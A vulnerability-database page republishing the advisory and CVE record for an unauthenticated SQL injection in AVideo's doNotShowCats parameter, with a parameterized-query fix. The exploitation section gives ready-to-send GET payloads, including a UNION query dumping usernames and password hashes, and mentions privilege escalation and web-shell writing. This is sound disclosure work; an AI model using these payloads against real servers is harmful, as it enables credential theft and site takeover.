Vulnerability-Lookup

GHSA-MCJ5-6QR4-95FJ

Vulnerability from github – Published: 2026-03-19 19:25 – Updated: 2026-03-25 18:49

Summary

AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)

Details

Summary

An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (str_replace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.

Affected Component

File: objects/category.php, lines 386-394, inside method getAllCategories()

if (!empty($_REQUEST['doNotShowCats'])) {
    $doNotShowCats = $_REQUEST['doNotShowCats'];
    if (!is_array($_REQUEST['doNotShowCats'])) {
        $doNotShowCats = array($_REQUEST['doNotShowCats']);
    }
    foreach ($doNotShowCats as $key => $value) {
        $doNotShowCats[$key] = str_replace("'", '', $value);  // INSUFFICIENT
    }
    $sql .= " AND (c.clean_name NOT IN ('" . implode("', '", $doNotShowCats) . "') )";
}

Root Cause

Incomplete sanitization: The only defense is str_replace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\).
No global filter coverage: The doNotShowCats parameter is absent from every filter list in objects/security.php ($securityFilter, $securityFilterInt, $securityRemoveSingleQuotes, $securityRemoveNonChars, $securityRemoveNonCharsStrict, $filterURL, and the _id suffix pattern).
Direct string concatenation into SQL: The filtered values are concatenated into the SQL query via implode() instead of using parameterized queries.

Exploitation

MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NO_BACKSLASH_ESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.

Step-by-step:

The attacker sends: GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-
After str_replace("'", '', ...), values are unchanged (no single quotes to strip):
Element 0: \
Element 1: ) OR 1=1)-- -
After implode("', '", ...), the concatenated string is: \', ') OR 1=1)-- -
The full SQL becomes: sql AND (c.clean_name NOT IN ('\', ') OR 1=1)-- -') )
MySQL parses this as:
'\' — the \ escapes the next ', making it a literal quote character inside the string. The string continues.
, ' — the comma and space are part of the string. The next ' (which was the opening quote of element 1) closes the string.
String value = ', (three characters: quote, comma, space)
) OR 1=1) — executable SQL. The first ) closes NOT IN (, the second ) closes the outer AND (.
-- - — SQL comment, discards the remainder ') )

Effective SQL: sql AND (c.clean_name NOT IN (', ') OR 1=1) This always evaluates to TRUE.

For data extraction (UNION-based):

GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-

Produces:

AND (c.clean_name NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )

This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).

Impact

Confidentiality: Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.
Integrity: Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., UPDATE users SET isAdmin=1).
Availability: Ability to drop tables or corrupt data.
Potential RCE: On MySQL configurations that allow SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.

Suggested Fix

Replace the string concatenation with parameterized queries:

if (!empty($_REQUEST['doNotShowCats'])) {
    $doNotShowCats = $_REQUEST['doNotShowCats'];
    if (!is_array($doNotShowCats)) {
        $doNotShowCats = array($doNotShowCats);
    }
    $placeholders = array_fill(0, count($doNotShowCats), '?');
    $formats = str_repeat('s', count($doNotShowCats));
    $sql .= " AND (c.clean_name NOT IN (" . implode(',', $placeholders) . ") )";
    // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters
}

Alternatively, use $global['mysqli']->real_escape_string() on each value as a minimum fix, though parameterized queries are strongly preferred.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:25:53Z",
    "nvd_published_at": "2026-03-23T14:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"\u0027\", \u0027\u0027, ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application\u0027s global input filters in `objects/security.php`.\n\n### Affected Component\n\n**File:** `objects/category.php`, lines 386-394, inside method `getAllCategories()`\n\n```php\nif (!empty($_REQUEST[\u0027doNotShowCats\u0027])) {\n    $doNotShowCats = $_REQUEST[\u0027doNotShowCats\u0027];\n    if (!is_array($_REQUEST[\u0027doNotShowCats\u0027])) {\n        $doNotShowCats = array($_REQUEST[\u0027doNotShowCats\u0027]);\n    }\n    foreach ($doNotShowCats as $key =\u003e $value) {\n        $doNotShowCats[$key] = str_replace(\"\u0027\", \u0027\u0027, $value);  // INSUFFICIENT\n    }\n    $sql .= \" AND (c.clean_name NOT IN (\u0027\" . implode(\"\u0027, \u0027\", $doNotShowCats) . \"\u0027) )\";\n}\n```\n\n### Root Cause\n\n1. **Incomplete sanitization:** The only defense is `str_replace(\"\u0027\", \u0027\u0027, $value)`, which strips single-quote characters. It does **not** strip backslashes (`\\`).\n2. **No global filter coverage:** The `doNotShowCats` parameter is absent from every filter list in `objects/security.php` (`$securityFilter`, `$securityFilterInt`, `$securityRemoveSingleQuotes`, `$securityRemoveNonChars`, `$securityRemoveNonCharsStrict`, `$filterURL`, and the `_id` suffix pattern).\n3. **Direct string concatenation into SQL:** The filtered values are concatenated into the SQL query via `implode()` instead of using parameterized queries.\n\n### Exploitation\n\nMySQL, by default, treats the backslash (`\\`) as an escape character inside string literals (unless `NO_BACKSLASH_ESCAPES` SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that `implode()` adds, shifting the string boundary and turning the next array element into executable SQL.\n\n**Step-by-step:**\n\n1. The attacker sends:\n   ```\n   GET /categories.json.php?doNotShowCats[0]=\\\u0026doNotShowCats[1]=)%20OR%201=1)--%20-\n   ```\n\n2. After `str_replace(\"\u0027\", \u0027\u0027, ...)`, values are unchanged (no single quotes to strip):\n   - Element 0: `\\`\n   - Element 1: `) OR 1=1)-- -`\n\n3. After `implode(\"\u0027, \u0027\", ...)`, the concatenated string is:\n   ```\n   \\\u0027, \u0027) OR 1=1)-- -\n   ```\n\n4. The full SQL becomes:\n   ```sql\n   AND (c.clean_name NOT IN (\u0027\\\u0027, \u0027) OR 1=1)-- -\u0027) )\n   ```\n\n5. MySQL parses this as:\n   - `\u0027\\\u0027` \u2014 the `\\` escapes the next `\u0027`, making it a literal quote character inside the string. The string continues.\n   - `, \u0027` \u2014 the comma and space are part of the string. The next `\u0027` (which was the opening quote of element 1) **closes** the string.\n   - String value = `\u0027, ` (three characters: quote, comma, space)\n   - `) OR 1=1)` \u2014 executable SQL. The first `)` closes `NOT IN (`, the second `)` closes the outer `AND (`.\n   - `-- -` \u2014 SQL comment, discards the remainder `\u0027) )`\n\n   Effective SQL:\n   ```sql\n   AND (c.clean_name NOT IN (\u0027, \u0027) OR 1=1)\n   ```\n   This always evaluates to `TRUE`.\n\n**For data extraction (UNION-based):**\n\n```\nGET /categories.json.php?doNotShowCats[0]=\\\u0026doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-\n```\n\nProduces:\n```sql\nAND (c.clean_name NOT IN (\u0027\\\u0027, \u0027)) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -\u0027) )\n```\n\nThis appends a UNION query that extracts usernames and password hashes from the `users` table. The attacker must match the column count of the original `SELECT` (determinable through iterative probing).\n\n### Impact\n\n- **Confidentiality:** Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.\n- **Integrity:** Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., `UPDATE users SET isAdmin=1`).\n- **Availability:** Ability to drop tables or corrupt data.\n- **Potential RCE:** On MySQL configurations that allow `SELECT ... INTO OUTFILE`, the attacker could write a PHP web shell to the server\u0027s document root.\n\n### Suggested Fix\n\nReplace the string concatenation with parameterized queries:\n\n```php\nif (!empty($_REQUEST[\u0027doNotShowCats\u0027])) {\n    $doNotShowCats = $_REQUEST[\u0027doNotShowCats\u0027];\n    if (!is_array($doNotShowCats)) {\n        $doNotShowCats = array($doNotShowCats);\n    }\n    $placeholders = array_fill(0, count($doNotShowCats), \u0027?\u0027);\n    $formats = str_repeat(\u0027s\u0027, count($doNotShowCats));\n    $sql .= \" AND (c.clean_name NOT IN (\" . implode(\u0027,\u0027, $placeholders) . \") )\";\n    // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters\n}\n```\n\nAlternatively, use `$global[\u0027mysqli\u0027]-\u003ereal_escape_string()` on each value as a minimum fix, though parameterized queries are strongly preferred.",
  "id": "GHSA-mcj5-6qr4-95fj",
  "modified": "2026-03-25T18:49:10Z",
  "published": "2026-03-19T19:25:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33352"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/206d38e97b8c854771bb2907b13f9f36e8bcf874"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)"
}

CVE-2026-33352 (GCVE-0-2026-33352)

Vulnerability from cvelistv5 – Published: 2026-03-23 13:53 – Updated: 2026-03-24 17:44

Title

AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)

Summary

WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace("'", '', ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/commit/206d38e97b8…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: < 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33352",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-24T17:43:51.395999Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-24T17:44:35.562Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. Prior to version 26.0, an unauthenticated SQL injection vulnerability exists in `objects/category.php` in the `getAllCategories()` method. The `doNotShowCats` request parameter is sanitized only by stripping single-quote characters (`str_replace(\"\u0027\", \u0027\u0027, ...)`), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application\u0027s global input filters in `objects/security.php`. Version 26.0 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-23T13:53:47.260Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/206d38e97b8c854771bb2907b13f9f36e8bcf874",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/206d38e97b8c854771bb2907b13f9f36e8bcf874"
        }
      ],
      "source": {
        "advisory": "GHSA-mcj5-6qr4-95fj",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33352",
    "datePublished": "2026-03-23T13:53:47.260Z",
    "dateReserved": "2026-03-18T22:15:11.814Z",
    "dateUpdated": "2026-03-24T17:44:35.562Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-MCJ5-6QR4-95FJ

Summary

Affected Component

Root Cause

Exploitation

Impact

Suggested Fix

CVE-2026-33352 (GCVE-0-2026-33352)

Tags

Sightings

Nomenclature